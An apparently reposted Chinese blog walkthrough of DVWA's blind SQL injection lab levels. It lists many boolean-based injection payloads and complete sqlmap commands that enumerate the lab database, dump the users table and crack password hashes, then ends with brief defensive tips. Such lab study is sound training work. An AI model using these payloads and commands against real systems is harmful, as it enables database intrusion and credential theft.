dvwa-sql盲注
sql盲注
low級別
先提交個參數,發現執行成功就是回顯時只是說這個id存在數據庫,沒有回顯出id具體信息,怪不得叫盲注。
分析源碼沒有對所提交參數id做任何處理就直接執行了,只是回顯的時候被隱藏了。
其實也可以通過ascaii碼來一個一個字符弄出來,輸入1’ and length(database())=1#,顯示User ID is MISSING from the database.
輸入1’ and length(database())=2#,顯示User ID is MISSING from the database.
輸入1’ and length(database())=3#,顯示User ID is MISSING from the database.
輸入1’ and length(database())=4#,顯示User ID exists in the database.
說明數據庫名長度為4.
數據庫名:
輸入1’ and ascii(substr(database(),1,1))>97#,顯示User ID exists in the database.,說明第一個字符的ascii值大于97(a)
輸入1’ and ascii(substr(database(),1,1))<122#,顯示User ID exists in the database.,說明第一個字符的ascii值小于122(z)
輸入1’ and ascii(substr(database(),1,1))<110#,顯示User ID exists in the database.,說明第一個字符的ascii值小于110(n)
輸入1’ and ascii(substr(database(),1,1))<104#,顯示User ID exists in the database.,說明第一個字符的ascii值小于104(h)
輸入1’ and ascii(substr(database(),1,1))<100#,顯示User ID is MISSING from the database.
,說明第一個字符的ascii值不小于100(d)
輸入1’ and ascii(substr(database(),1,1))>100#,顯示User ID is MISSING from the database.
,說明第一個字符的ascii值不大于100(d)
輸入1’ and ascii(substr(database(),1,1))=100#,顯示User ID exists in the database.
,說明第一個字符的ascii值等于100(d)
根據上述二分法最終得到數據庫名為dvwa。
但是這樣太麻煩,直接sqlmap 莽就完事了,懂得利用工具才是人,沖就完事了
發現有兩個類型的注入漏洞,一個是基于布爾的,一個是基于時間的
然后用–dbs ,遍歷出全部數據庫pyload:sqlmap -u “http://192.168.60.129/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#” --cookie “security=low; PHPSESSID=7vfeeee0bd1pd8ia10vqs1o3q4” --dbs
查看當前數據庫pyload:sqlmap -u “http://192.168.60.129/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#” --cookie “security=low; PHPSESSID=7vfeeee0bd1pd8ia10vqs1o3q4” --current-db
知道數據庫直接繼續沖有什么表pyload:sqlmap -u “http://192.168.60.129/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#” --cookie “security=low; PHPSESSID=7vfeeee0bd1pd8ia10vqs1o3q4” -D dvwa --tables
然后看看表里屬性的信息pyload:sqlmap -u “http://192.168.60.129/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#” --cookie “security=low; PHPSESSID=7vfeeee0bd1pd8ia10vqs1o3q4” -D dvwa -T users --columns
接著直接看見user和password就直接莽內容
pyload:sqlmap -u “http://192.168.60.129/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#” --cookie “security=low; PHPSESSID=56ohejeqpp84475jdbun08fsv4” -D dvwa -T users --dump
因為密碼有哈希值他問我要不要直接用他的字典爆破,其實用不用無所謂自己查也可以,懶點就點yes,擺爛直接自動破解,結果如圖,只爆破出兩個,不過也夠了。
medium級別
查看源碼是數字型注入,還有一個過濾特殊符號的函數,其實也可以拿工具沖。
首先抓個包復制http請求包到文件sql.txt里,然后直接用sqlmap沖,
直接把漏洞爆破出來了
摸下數據庫pyload:sqlmap -r sql.txt --current-db 后面都是輸命令就行,不多演示。
high級別
分析源碼發現限制了輸出行數為一行,而且失敗時 當他隨機生成的數等于3就會隨機休眠2-4秒,目的是干擾基于時間的盲注
繼續用sqlmap莽,先把包搞里頭
然后發現莽不動了,那只能用手工了,因為時間盲注被限制了,只能用布爾盲注,ascll碼慢慢沖
用手工的方式,基本思路:count確定數量,length()函數確定長度,然后用ascii碼substr截取比較排除,這里一般用二分法。
前面low級別已經手工沖出數據庫為dvwa,接下來沖表
先確定好數據庫里有幾個表
pyload:1’ and (select count(table_name) from information_schema.tables where table_schema=database())=1 #顯示 MISSING
pyload:1’ and (select count(table_name) from information_schema.tables where table_schema=database())=2#顯示 exists
可知道表的個數為2
接下來猜表名信息
1’ and length((select table_name from information_schema.tables where table_schema=database() limit 0,1)) =1#顯示 MISSING
1’ and length((select table_name from information_schema.tables where table_schema=database() limit 0,1)) =9#顯示 exists
可知表名長度為9
猜表的字符
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)) >100#顯示 exists
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)) >103# 顯示MISSING
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)) =103#顯示 exists
可知為第一個字符為g
依照猜解第一個表的第一個字符,我們就可以同理猜解出第二個,第三個,一直到第九個,最后,這第一個表名為guestsbook
同理再來猜解第二個表的長度和表名:最后得出第二個表的長度為5,表明為users
接著是猜字段,一樣的原理,先搞數量然后,長度,然后字符
數量pyload:1’ and (select count(column_name) from information_schema.columns where table_name=‘users’)=11
得數量為11
長度pyload:1’ and length((select column_name from information_schema.columns where table_name=‘users’ limit 0,1))=7 #
得第一個字符串長度為7
字符pyload:1’ and ascii(substr((select column_name from information_schema.columns where table_name=‘users’ limit 0,1),1,1))=117 #
得第一個字符串的第一個字符為u,緊接著,同理我們可以猜出第二個,第三個,一直到第七個字符
最后猜解出users表的第一個字段的字段名是user_id
同理我們也可以猜出第二個,第三個,第四個直到第十一個字段名是first_name,ast_name,user,password,avatar,last_login,failed_login,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS
接著是表內容
數量pyload:1’ and ((select count(user) from users ))=5
得數量為5
長度pyload:1’ and length((select user from users limit 0,1))=5 #
得第一個字符串長度為5
字符pyload:1’ and ascii(substr((select user from users limit 0,1),1,1))=97 #
得第一個字符串的第一個字符為a
依次得第一個字符串為admin
總結
漏洞原理:關于sql一般有基于時間的盲注和基于布爾的盲注,歸根結底還是參數處理沒做好轉義
方法:基于時間的盲注和基于布爾的盲注
防御:
1.通過waf sql限制策略
2.預處理+參數化
3.對特殊字符做轉義,限制
4.對于基于時間的可以用sleep函數干擾
的第一個字符為a
依次得第一個字符串為admin
總結
以上是生活随笔為你收集整理的dvwa-sql盲注的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: php 随机在文章中添加锚文本_页面SE
- 下一篇: 如何参与开源项目